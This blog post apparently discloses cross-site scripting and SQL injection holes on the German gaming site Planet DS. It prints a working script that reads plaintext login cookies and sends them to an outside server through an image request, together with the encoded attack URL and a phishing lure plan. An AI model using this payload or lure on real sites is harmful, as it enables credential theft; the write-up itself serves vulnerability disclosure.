The combination of a bad security system (plain text passwords and usernames in cookies) with an xss security hole (and additionally some SQL-injections and more xss holes but which are unrelated for this entry) are very effective for user data sniffing. Read on my dear.
One of the popular portable gaming devices is called Nintendo DS and is produced by *tadadada* Nintendo ;). Because it is that popular many website write about this piece of hardware and related software. On of them is called Planet DS which is a German webpage and was one of the first. So basically the following security hole was and is in the code for about two years. Bummer
The administrator of the website hacked together a kind of content management system but obviously knows nothing about security and how to handle user input. Otherwise in the cookie would be a session id rather then the username and password in an unencrypted version. Additionally it looks like the programmer isn't escaping user submitted data at all (beside the comments). When I found out that by chance i wrote a small javascript to test if a XSS vulnerability actually works (i never did that before).
So. Where to start? The search form for example doesn't escape the suchwort string which is inserted into the search field again after submit. So i used this to insert some javascript and change the page content. Additionally it parses the cookie and sends the username and password to my server. The code looks like this:
"><script>
p = document.cookie.split("; ");
d = {};
for (var i in p) {
var t = p[i].split("=");
d[t[0]] = t[1];
E = d
}
if (d.loggedin == "true") {
u = encodeURIComponent;
url = "http://lucumr.pocoo.org/planetdsxss?u="
+ u(d.cookiename) + "&p="
+ u(d.cookiepass);
document.getElementById("content").innerHTML =
"<h1>XSS Demonstration</h1>Username: "
+ d.cookiename + "<br>Password: "
+ d.cookiepass
+ "<br><b>Your login data was submitted to an external database</b>";
var img = document.createElement("IMG");
img.src = url;
}
else {
document.location = "http://www.planetds.de/";
};</script><fake foo="'
With stipped whitespaces and put into the url it looked like this:
http://www.planetds.de/index.php?page=suche_artikel&suchwort=%22%3E%3C
script%3Ep%20%3D%20document.cookie.split%28%22%3B%20%22%29%3B%20d%20%3
D%20%7B%7D%3B%20for%20%28var%20i%20in%20p%29%20%7B%20var%20t%20%3D%20p
%5Bi%5D.split%28%22%3D%22%29%3B%20d%5Bt%5B0%5D%5D%20%3D%20t%5B1%5D%3B%
20E%20%3D%20d%20%7D%3B%20if%20%28d.loggedin%20%3D%3D%20%22true%22%29%2
0%7B%20u%20%3D%20encodeURIComponent%3B%20url%20%3D%20%22http%3A//lucum
r.pocoo.org/planetdsxss%3Fu%3D%22%20%2B%20u%28d.cookiename%29%20%2B%20
%22%26p%3D%22%20%2B%20u%28d.cookiepass%29%3B%20document.getElementById
%28%22content%22%29.innerHTML%20%3D%20%22%3Ch1%3EXSS%20Demonstration%3
C/h1%3EUsername%3A%20%22%20%2B%20d.cookiename%20%2B%20%22%3Cbr%3EPassw
ord%3A%20%22%20%2B%20d.cookiepass%20%2B%20%22%3Cbr%3E%3Cb%3EYour%20log
in%20data%20was%20submitted%20to%20an%20external%20database%3C/b%3E%22
%3B%20var%20img%20%3D%20document.createElement%28%22IMG%22%29%3B%20img
.src%20%3D%20url%3B%20%7D%20else%20%7B%20document.location%20%3D%20%22
http%3A//www.planetds.de/%22%3B%20%7D%3B%3C/script%3E%3Cfake%20foo%3D%22
Basically it parses the cookie data and submits it to my server by loading an image. This of course only works if a user is logged in. I didn't use XmlHTTPRequest because it would have produced more code and i was lazy. And why should a user follow that link? I would have just created a news comment and linked to an tinyurl. The comment text would have promised "new screenshots" or stuff link that. In my version it shows a text that data is sent to my browser (which is disabled again for security reasons, I'm not a cracker) but it could also redirect to an external server with real screenshots so nobody would have seen that his user data was stolen. A screencast demonstrates the whole xss vulnerability: planet ds xss. The url lucumr.pocoo.org/planetdsxss redirects to the faked page on planetds.de.
And it still works. Although I sent a mail to the administrator four days ago...
So dear PHP programmers and co: validate user input, escape data before outputting it, don't write any code until you have understood how security works...
Let's see how long it takes them to close the security hole. I'm counting...
update 19:37 - lumax pointed out that the image version is the only one that would work. XMLHttpRequest doesn't work cross-domain
update 23:48 - the administrator now fixed the XSS vulnerability, but i found an sql injection on this page: http://www.planetds.de/index.php?page=cheats&gameid=XXX. Looks like the programmer does something like select * from something where gameid = $_GET['gameid']. Let's see how long it takes to close this vulnerability.
update 23:54 - if i was an attacker i would have found 5 other xss vulnerabilities. (ok, found them also this way). My link would still work, i'll give the admin a chance to fix the issue first
update 00:02 - looks like i can watch the developer working on his code. the password value in the cookie changed from plain text to md5. i had to update the cookie by hand to be able to change my user details. Looks like the code of the profile page isn't altered by now...